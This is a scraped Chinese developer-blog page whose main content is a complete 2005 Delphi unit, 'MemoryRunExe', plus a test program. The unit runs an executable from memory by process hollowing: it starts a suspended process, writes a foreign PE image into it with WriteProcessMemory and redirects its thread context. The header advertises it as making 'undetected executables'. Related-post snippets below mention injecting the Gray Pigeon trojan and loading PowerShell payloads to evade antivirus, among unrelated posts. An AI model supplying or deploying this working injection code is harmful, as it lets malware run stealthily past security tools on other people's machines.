| { EXE Memory Unit Two For NT,2K,XP,2K3,LH By Anskya Email:Anskya@Gmail.com Web:Www.Anskya.Net Date:04.08.2005 Thank:Aphex procedure MemoryRunExe(FileMemory: Pointer); [ This program creates undetected executables that only run on Windows NT, 2000, XP, 2003 and LongHorn. ?? ] } Unit MemoryRunUnitTwo; interface {$IMAGEBASE $10000000} uses Windows; type TSections = array [0..0] of TImageSectionHeader; procedure MemoryRunExe(FileMemory: Pointer); implementation function GetAlignedSize(Size: dword; Alignment: dword): dword; begin if ((Size mod Alignment) = 0) then begin Result := Size; end else begin Result := ((Size div Alignment) + 1) * Alignment; end; end; function ImageSize(Image: pointer): dword; var Alignment: dword; ImageNtHeaders: PImageNtHeaders; PSections: ^TSections; SectionLoop: dword; begin ImageNtHeaders := pointer(dword(dword(Image)) + dword(PImageDosHeader(Image)._lfanew)); Alignment := ImageNtHeaders.OptionalHeader.SectionAlignment; if ((ImageNtHeaders.OptionalHeader.SizeOfHeaders mod Alignment) = 0) then begin Result := ImageNtHeaders.OptionalHeader.SizeOfHeaders; end else begin Result := ((ImageNtHeaders.OptionalHeader.SizeOfHeaders div Alignment) + 1) * Alignment; end; PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader); for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do begin if PSections[SectionLoop].Misc.VirtualSize <> 0 then begin if ((PSections[SectionLoop].Misc.VirtualSize mod Alignment) = 0) then begin Result := Result + PSections[SectionLoop].Misc.VirtualSize; end else begin Result := Result + (((PSections[SectionLoop].Misc.VirtualSize div Alignment) + 1) * Alignment); end; end; end; end; procedure MemoryRunExe(FileMemory: Pointer); var BaseAddress, Bytes, HeaderSize, InjectSize, SectionLoop, SectionSize: dword; Context: TContext; FileData: pointer; ImageNtHeaders: PImageNtHeaders; InjectMemory: pointer; ProcInfo: TProcessInformation; PSections: ^TSections; StartInfo: TStartupInfo; begin ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew)); InjectSize := ImageSize(FileMemory); GetMem(InjectMemory, InjectSize); try FileData := InjectMemory; HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders; PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader); for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do begin if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData; end; CopyMemory(FileData, FileMemory, HeaderSize); FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment)); for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do begin if PSections[SectionLoop].SizeOfRawData > 0 then begin SectionSize := PSections[SectionLoop].SizeOfRawData; if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize; CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize); FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment)); end else begin if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment)); end; end; ZeroMemory(@StartInfo, SizeOf(StartupInfo)); ZeroMemory(@Context, SizeOf(TContext)); CreateProcess(nil, pchar(ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo); Context.ContextFlags := CONTEXT_FULL; GetThreadContext(ProcInfo.hThread, Context); ReadProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes); VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes); WriteProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes); Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint; SetThreadContext(ProcInfo.hThread, Context); ResumeThread(ProcInfo.hThread); finally FreeMemory(InjectMemory); end; end; end. { 写了一个简单程序测试通过:) } program Test1; //{$APPTYPE CONSOLE} uses SysUtils, Classes, MemoryRunUnitTwo in 'MemoryRunUnitTwo.pas'; var ABuffer: array of byte; Stream: TFileStream; ProcessId: Cardinal; begin Stream := TFileStream.Create('HT.exe', fmOpenRead); try SetLength(ABuffer, Stream.Size); Stream.ReadBuffer(ABuffer[0], Stream.Size); MemoryRunExe(@ABuffer[0]); finally Stream.Free; end; end. |
相关推荐
delphi从内存中加载并运行exe
delphi从内存中加载并运行exe演示程序源代码
PE头的应用---插入代码到EXE或DLL文件中(DELPHI版本)
一、PE头原理请看我的另一篇笔记:http://blog.youkuaiyun.com/A00553344/archive/2007/12/13/1933320.aspx二、插入代码到EXE文件或DLL文件的原理请看我的另一篇笔记:http://blog.youkuaiyun.com/A00553344/archive/2007/12/17/1944491.aspx三、代码实现(DELPHI版本),采用第
delphi版在内存中运行exe
用delphi实现在内存运行exe,可以用以exe的加密
从内存中加载并运行exe(两种方法)
windows似乎只提供了一种启动进程的方法:即必须从一个可执行文件中加载并启动。 而下面这段代码就是提供一种可以直接从内存中启动一个exe的变通办法。 用途嘛, 也许可以用来保护你的exe,你可以对要保护的 exe 进行任意切分、加密、存储, 只要运行时能将exe的内容正确拼接到一块内存中,就可以直接从内存中启动,...
实现exe从资源中加载到内存中运行
这是网上的一段代码稍微修改了下,实现在windows下将程序加载到资源,运行时从资源加载到内存,并运行
动态加载EXE文件到内存执行1
动态加载EXE文件到内存执行 //***************************************************************
将exe作为资源加入,然后再释放出来,并运行
// 将exe作为资源加入,然后再释放出来,并运行 try { HRSRC hRes = FindResource(NULL, MAKEINTRESOURCE(IDR_EXE1), _T("EXE")); if(NULL == hRes) return ; DWORD dwSize
EDK2多平台编译实战:从树莓派到RK3399的UEFI固件构建
本文提供了从树莓派到RK3399的EDK2多平台编译实战指南。详细介绍了UEFI固件构建的环境搭建、交叉编译配置、平台描述文件修改及常见问题排查,帮助开发者掌握为不同ARM架构硬件构建标准化启动固件的核心技能。
从一个程序中生成另一个程序(资源法)
档标题:从一个程序中生成另一个程序(资源法) 作者: 佚名 前不久大家都在讨论怎样通过一个程序来生成另一个程序,我提出了将另一个程序当资源文件包含在程序中一起编译,然后在程序运行时根据需要再重新生成出来,下面是我的一个例子, 在这里,我将windows自带的写字板(writer.exe)当资源. 下面是源代码 //资源文件writer.exe长度为204800,在资源文件中定义为"CU...
图解凸函数与凹函数:别再被数学定义搞晕了!
本文通过图解和生活化类比,深入浅出地解释了凸函数与凹函数的数学定义及其与日常直觉的差异。文章详细介绍了凸函数的图像特征、数学定义(包括二阶导数判断)、在机器学习中的重要性,以及常见误区和实际应用中的判断技巧,帮助读者彻底理解这一关键数学概念。
【数据中台】数据中台架构搭建百科全书
0、前言 当前,大部分企业不再建设从源数据采集到分析应用的烟囱式系统,更倾向于数据集中采集、存储,并应用分层建设。这种方式一方面有利于应用系统的快速部署,另一方面也保证了数据的集中管理与运营,体现数据的资产、资源属性。 数据中台的出现弥补了数据开发和应用开发之间由于开发速度不匹配而出现的响应力不足等缺陷问题。 数据中台是国内学者提出的概念,起始于阿里的“大中台、小前台”概念。阿里的中台是从管理的角度出发,以中台事业部集中数据搜索,技术及产品,数据共享等多个部门的功能。其他组织或企业建设数据中台不一定需
进程替换的一点想法
RING3级:现在网上很多的进程替换都是说A 建立C进程(僵尸进程),然后把C所有的Section都Free掉,把B文件手动LOAD重定位,并在C进程空间申请合适的位置,完成后恢复C的运行,运行的结果是用了C的壳做了B的事。(这样卡巴是过不了的,对WriteProcessMemory监控,使用Mapping会有CopyOnWrite)但我在想,如果可以A用B替换,那不是更好吗?由于做了类似
vue引入使用腾讯地图
// 引入鹅厂地图 initMap(lat = 0.0000000, lng = 0.0000000) { // 定义地图中心点坐标- var center = new TMap.LatLng(lat, lng) // 定义map变量,调用 TMap.Map() 构造函数创建地图 map = new TMap.Map(document.getElementById('txMapBox'), { center: center, // 设.
从内存中加载并启动一个exe
windows似乎只提供了一种启动进程的方法:即必须从一个可执行文件中加载并启动。而下面这段代码就是提供一种可以直接从内存中启动一个exe的变通办法。用途嘛, 也许可以用来保护你的exe,你可以对要保护的 exe 进行任意切分、加密、存储,只要运行时能将exe的内容正确拼接到一块内存中,就可以直接从内存中启动,而不必不安全地去生成一个临时文件再从临时文件启动进程。另外这段代码也提供了一种自己
Android11原生设置屏幕亮由Gamma变化改为线性变化
从Android9 开始屏幕亮度调解变成非线性变化,这样的话就会出现 之前亮度变化很小,到后面时变化亮度很快; 修改为线性变化,只需要修改 ./frameworks/base/packages/SettingsLib/src/com/android/settingslib/display/BrightnessUtils.java /* * Copyright (C) 2018 The Android Open Source Project * * Licensed under the Apache L
【第1章>第5节】SOM自组织映射网络的理论学习与MATLAB仿真
自组织映射网络(Self-Organizing Map,SOM)是一种无监督学习的人工神经网络,由芬兰学者Teuvo Kohonen于1981年提出,也被称为Kohonen网络。它的主要功能是将高维输入数据映射到低维(通常是二维)的离散网格上,同时保持输入数据的拓扑结构,即相邻的输入数据在映射后的网格上也相邻。
从内存中加载并运行exe (c)
原理很简单:就是“借尸还魂”,启动一个僵尸进程(NT下可以是自身程序启动的另一个进程),然后在它运行前将其整个替换成内存中的exe内容,待正式运行后执行的就是你的目标代码了。 不过代码中还有一些不尽人意的地方,比如在98下运行会留一个僵尸程序的壳在硬盘上(其实那个僵尸程序本身就是一个完整的可执行程序,直接运行的话只显示一条错误信息然后就退出了)。另外由于客观条件限制,代码没有经
Oracle EBS AP发票被预付款核算创建会计科目时间超长
在客户职能部门的水电、通信和物业等费用统一管理或对接部门报销时,用户将所有费用分摊到各个末级部门,导致AP发票行数高达上千行。这引发了以下问题:1)用户过账时,创建会计科目的请求执行超过20小时未完成,只能手动取消;2)取消请求后,系统一直处于回滚状态;3)通过SQL脚本分析,发现预付发票核销分配行表记录数量庞大,单笔AP发票记录高达90多万条,类似发票共有5笔。
从内存中加载并运行exe
可以把鸽子1.2源码整体注入进程{windows似乎只提供了一种启动进程的方法:即必须从一个可执行文件中加载并启动。而下面这段代码就是提供一种可以直接从内存中启动一个exe的变通办法。用途嘛, 也许可以用来保护你的exe,你可以对要保护的 exe 进行任意切分、加密、存储,只要运行时能将exe的内容正确拼接到一块内存中,就可以直接从内存中启动,而不必不安全地去生成一个临时文件再从临时文件启动进
【C#程序员入门AI】必知的一些知识
2026年C#调用AI,核心就4个概念+3种方式4个概念:大模型(大脑)、嵌入(数字密码)、向量(载体)、Agent(超级助理)3种方式:云端API(快)、本地模型(隐私)、混合部署(最佳)不用怕复杂,跟着这个思路走,你就能从“AI小白”变成“C# AI开发能手”,把AI集成到你的.NET项目里,提升效率、创造价值!
汉书HE8,好用的汇编代码编写工具
汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大
powershell加载EXE进内存运行
当实战中我们想在目标上运行一些相当复杂的功能,这些功能常是 EXE 文件的一部分。我不想直接在目标上放置一个二进制文件,因为这样可能会触发反病毒机制。一个很好的思路就是将二进制文件嵌入到 Powershell 脚本中,并直接通过脚本运行而不用将其写入到磁盘里。 大致思路流程:将我们需要执行的exe文件二进制进过编码转换成字符串,使其成为powershell脚本的一部分,再直接加载进内存运行...
复分析 阿尔福斯(Ahlfors) 第三版答案 英文
答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案
Windows C++ 将外部exe加载到内存中直接运行
Windows C++ 将外部exe加载到内存中直接运行 Windows的PE加载器在启动程序的时候,会将磁盘上的文件加载到内存,然后做很多操作,如函数导入表重定位,变量预处理之类的。这位仁兄等于是自己写了一个PE加载器。直接将内存中的程序启动。记得以前的“红色代码”病毒也有相同的特性。 直接启动内存中的程序相当于加了一个壳,可以把程序加密保存,运行时解密到内存,然后启动,不过对于增加破解难度还要稍微复杂点。否则人家把内存中的进程DUMP出来然后修复导入表就被拖出来了。 代码请自行修改 #include "
Data-Structures-and-Algorithm-Analysis-in-Java.pdf
作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...
程序是怎么装载到内存并被运行的
在后续所有内容之前,我们需要先达成一个共识,所有的程序都是被装载进内存然后才被使用的。装载器会把对应的指令和数据加载到内存里面来,让 CPU 去执行,而程序,包括操作系统就是一堆指令和数据的集合。 下面开始套娃,BIOS硬件初始化并开始加载主引导扇区(多系统需要选择启动哪个系统的原因),将操作系统加载到内存;移交加载控制权给操作系统,操作系统开始装载非操作系统程序到内存。因为Linux和Windows系统的装载器不同,所以这也是为什么Windows上的一部分程序没法在Linux上跑的原因,如.exe。
3965



被折叠的 条评论
为什么被折叠?



